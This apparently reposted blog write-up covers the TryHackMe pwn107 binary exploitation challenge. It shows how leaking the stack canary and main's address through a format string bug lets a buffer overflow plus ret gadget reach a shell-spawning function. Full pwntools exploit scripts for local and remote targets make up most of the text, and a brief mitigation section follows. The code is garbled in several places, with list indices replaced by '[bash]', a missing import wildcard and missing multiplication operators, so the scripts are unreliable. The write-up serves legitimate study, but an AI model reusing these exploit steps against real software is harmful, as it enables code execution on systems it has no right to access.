Bypassing Stack Canaries: A Practical Guide to Binary Exploitation in CTF Challenges + Video

Listen to this Post

Featured Image

Introduction

Stack canaries are security controls designed to prevent buffer overflow vulnerabilities from being exploited to hijack program execution flow. When a stack canary is present, any attempt to overflow a buffer and overwrite the return address will also overwrite the canary value, triggering a termination routine that halts the program before control can be transferred to attacker-controlled code. However, as demonstrated in the TryHackMe pwn107 challenge, these protections can be bypassed through memory leaks that expose the canary value and the binary’s base address, allowing attackers to craft precise payloads that preserve the canary while redirecting execution to a target function.

Learning Objectives & Secrets

  • Objective 1: Understand Stack Canary Mechanics – Learn how stack canaries are implemented, where they are stored in memory (typically at rbp-0x8), and how the `__stack_chk_fail` function is invoked when corruption is detected.

  • Objective 2 Secret Tip: Leak Canary via Format String – Format string vulnerabilities are the key to extracting the canary. By using positional format specifiers like %13$p, you can read values directly from the stack. The canary always ends with a null byte (00), making it identifiable among other leaked values.

  • Objective 3 Secret Tip: PIE Bypass Through Function Address Leaks – When Position-Independent Executable (PIE) is enabled, the base address randomizes each run. Leaking the address of `main` allows you to calculate the runtime address of any other function using their fixed offsets. The leaked `main` address typically begins with 0x55, while libc addresses start with 0x7f.

You Should Know

1. Binary Analysis and Security Controls

Before attempting any exploit, it’s essential to understand the security mechanisms protecting the binary. The `checksec` tool provides a comprehensive overview of enabled protections:

checksec --file=pwn107-1644307530397.pwn107

This reveals whether Stack Canary, NX (Non-Executable stack), and PIE (Position-Independent Executable) are enabled. In the pwn107 challenge, all three were active, requiring a multi-stage exploitation approach.

File type verification is the first step in binary analysis:

file pwn107-1644307530397.pwn107

This confirms whether the binary is 32-bit or 64-bit, and whether it has been stripped of debugging symbols. A “not stripped” binary (as in this case) makes reverse engineering significantly easier.

Static analysis with Ghidra provides the decompiled source code. The pwn107 binary revealed two critical vulnerabilities: a format string vulnerability in the first input (printf(local_48)) and a buffer overflow in the second input (read() allowing 512 bytes into a 24-byte buffer).

Dynamic analysis with GDB allows runtime inspection. Key commands include:

gdb pwn107-1644307530397.pwn107
set disassembly-flavor intel
disas main

Understanding the assembly is crucial: the canary is copied from `fs:0x28` to rax, then stored at rbp-0x8. At function return, the stored value is compared against the original.

  1. Leaking Stack Canary and Function Addresses via Format String

The format string vulnerability allows arbitrary reads from the stack. To locate the canary and function addresses, use a Bash loop that sends positional format specifiers:

for i in {1..20}; do \
echo "\n\n\n\n\n$i" >> format_string.txt; \
echo "%$i\$p" | ./pwn107-1644307530397.pwn107 >> format_string.txt; \
done

Each iteration sends `%i$p` (where `i` is the position) as input, printing the value at that stack position.

Identifying the canary: The canary is an 8-byte (64-bit) value that always ends with a null byte (00). Use `grep` to search for patterns:

grep 'current' format_string.txt | cat -1

In the pwn107 challenge, position 13 revealed a value ending with 00—the stack canary. Position 17 revealed a value starting with `55` and ending with 992—the address of main.

Verifying leaks in GDB confirms the findings:

gdb -q pwn107-1644307530397.pwn107
b main+17
r
p/x $rax  Shows the canary
i functions ^main  Shows main address
c
%13$p %17$p  Test the format string positions

This confirms that positions 13 and 17 indeed leak the canary and `main` address respectively.

3. Calculating Offsets and Building the Exploit Payload

With both leaks obtained, the next step is calculating the offset between `main` and the target function (get_streak), which spawns a shell:

gdb -q pwn107-1644307530397.pwn107
disas main
p/x 0x992-0x94c  Offset = 0x46

The offset `0x46` is subtracted from the leaked `main` address to compute get_streak‘s runtime address.

Finding the buffer overflow offset to the return address requires the `cyclic` pattern tool from the `pwntools` library:

from pwn import 
cyclic(100)

This generates a 100-byte pattern. When sent as the second input, the program crashes. The bytes overwriting the return address can be extracted and passed to cyclic_find:

cyclic_find(0x6161616b)  Returns 40

The offset to the return address is 40 bytes. However, the payload structure must account for:
– 24 bytes to reach the canary (the buffer size)
– 8 bytes for the canary (leaked value)
– 8 bytes for the saved RBP (can be garbage)
– 8 bytes for the return address

4. Crafting the Local Exploit with pwntools

The local exploit must:

  1. Send the format string payload to leak the canary and `main` address

2. Parse the response to extract both values

3. Calculate `get_streak` address

4. Build and send the overflow payload

Initial exploit (causes segmentation fault due to stack alignment):

from pwn import 
io = process('./pwn107-1644307530397.pwn107')
io.sendline(b'%13$p %17$p')
io.recvuntil(b'streak: ')
canary_main = io.recvline().split()
canary = p64(int(canary_main[bash], 16))
main = int(canary_main[bash], 16)
get_streak = p64(main - 0x46)
offset = b'A'  24
saved_rbp = b'B'  8
payload = offset + canary + saved_rbp + get_streak
io.sendline(payload)
io.interactive()

The `ret` gadget fix: When the exploit fails with a segmentation fault, the issue is often stack alignment. Modern 64-bit binaries require the stack to be 16-byte aligned before calling certain functions. Adding a `ret` instruction (a “ret gadget”) before the target function resolves this:

gdb -q pwn107-1644307530397.pwn107
disas main
p/x 0xa84 - 0x992  Offset = 0xf2

Final local exploit with ret gadget:

from pwn import 
io = process('./pwn107-1644307530397.pwn107')
io.sendline(b'%13$p %17$p')
io.recvuntil(b'streak: ')
canary_main = io.recvline().split()
canary = p64(int(canary_main[bash], 16))
main = int(canary_main[bash], 16)
get_streak = p64(main - 0x46)
ret_gadget = p64(main + 0xf2)
offset = b'A'  24
saved_rbp = b'B'  8
payload = offset + canary + saved_rbp + ret_gadget + get_streak
io.sendline(payload)
io.interactive()

5. Adapting the Exploit for Remote Targets

Remote exploitation introduces a critical difference: the format string positions may change due to different compilation environments or server configurations.

Identifying remote leak positions requires re-running the format string loop against the remote service:

for i in {1..20}; do \
echo "\n\n\n\n\n$i" >> remote_format_str.txt; \
echo "%$i\$p" | nc -w 1 10.66.131.200 9007 >> remote_format_str.txt; \
done

Then analyze the results:

grep 'current' remote_format_str.txt | cat -1

In the pwn107 remote challenge, the canary remained at position 13, but the `main` address moved to position 19.

Remote exploit:

from pwn import 
io = remote('10.66.131.200', 9007)
io.sendline(b'%13$p %19$p')
io.recvuntil(b'streak: ')
canary_main = io.recvline().split()
canary = p64(int(canary_main[bash], 16))
main = int(canary_main[bash], 16)
get_streak = p64(main - 0x46)
ret_gadget = p64(main + 0xf2)
offset = b'A'  24
saved_rbp = b'B'  8
payload = offset + canary + saved_rbp + ret_gadget + get_streak
io.sendline(payload)
io.interactive()

6. Mitigation Strategies and Defensive Countermeasures

Understanding how stack canaries are bypassed informs defensive strategies:

Strengthen format string defenses: Never use `printf(buffer)` without a format string. Always use `printf(“%s”, buffer)` or `puts(buffer)` to prevent arbitrary memory reads.

Implement stack canaries with randomization: The canary value should be generated with sufficient entropy. Linux’s `fs:0x28` provides a random value per process, but the null byte terminator (00) is a known pattern that attackers use to identify canaries.

Consider canary placement: While canaries are typically stored before the return address, advanced implementations could place them at multiple locations or use different protection schemes entirely.

Combine with other protections: NX (non-executable stack) and ASLR (address space layout randomization) make exploitation harder. However, as demonstrated, PIE can be bypassed with a single address leak, so layered defenses are essential.

Sanitize inputs: Both format string and buffer overflow vulnerabilities stem from unsanitized user input. Input validation and length checking at the application level remain critical defenses.

7. Useful Commands and Tools Reference

| Command | Purpose |

|||

| `checksec –file=` | Identify enabled security protections |
| `file ` | Determine binary type and stripping status |
| `gdb ` | Launch GNU Debugger for dynamic analysis |
| `disas main` | Disassemble the main function |
| `b main+` | Set breakpoint at specific instruction |
| `p/x $rax` | Print register value in hexadecimal |
| `i functions` | List all defined functions |
| `cyclic()` | Generate pattern for offset discovery |
| `cyclic_find()` | Find offset from pattern value |
| `p64()` | Pack 64-bit integer to bytes (pwntools) |

| `process(‘./‘)` | Spawn local process (pwntools) |

| `remote(‘‘, )` | Connect to remote target (pwntools) |

What Undercode Say

  • Key Takeaway 1: Stack canaries are not a silver bullet. When combined with format string vulnerabilities, they can be reliably bypassed through memory leaks. The canary’s predictable null-byte termination makes it identifiable among stack data.

  • Key Takeaway 2: The ret gadget technique is essential for modern 64-bit exploitation. Stack alignment requirements often cause exploits to fail even when all logic is correct. Adding a single `ret` instruction before the target function resolves this and is a pattern that appears in many CTF challenges.

The pwn107 challenge elegantly demonstrates the progression from vulnerability identification to full remote shell acquisition. The format string vulnerability serves dual purposes: first as an information disclosure primitive to defeat canaries and PIE, then as a reconnaissance tool to verify remote environment differences. The buffer overflow then provides code execution, but only after careful payload construction that preserves the canary value and maintains stack alignment. This two-stage approach—leak then overflow—is a fundamental pattern in binary exploitation that extends beyond CTF to real-world vulnerability research. The challenge also highlights the importance of understanding the target environment: local versus remote exploitation may require different format string positions, and thorough testing with tools like GDB and Bash loops is essential for reliable exploit development.

Prediction

  • +1 The increasing adoption of stack canaries in IoT and embedded systems will drive demand for security professionals skilled in memory corruption exploitation and mitigation. CTF-style training provides practical, hands-on experience that translates directly to security assessments.

  • +1 Automated exploit generation tools will continue to evolve, but manual understanding of canary bypass techniques remains essential for vulnerability researchers dealing with custom or obfuscated binaries where automated tools fail.

  • -1 As canary bypass techniques become more widely known, attackers will increasingly target applications with format string vulnerabilities as the primary vector for information disclosure, making input sanitization more critical than ever.

  • -1 The prevalence of memory corruption vulnerabilities in C/C++ codebases, combined with the sophistication of modern exploitation techniques, suggests that stack canaries alone are insufficient protection. Organizations must adopt memory-safe languages or implement comprehensive exploit mitigations including CFI (Control Flow Integrity) and shadow stacks.

  • +1 The CTF community’s emphasis on binary exploitation produces a new generation of security professionals who understand low-level vulnerabilities at a fundamental level, strengthening the overall cybersecurity workforce.

▶️ Related Video (84% Match):

https://www.youtube.com/watch?v=-iRG9_zFRC4

🎯Let’s Practice For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

IT/Security Reporter URL:

Reported By: https://lnkd.in/p/eDgDc6yr – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky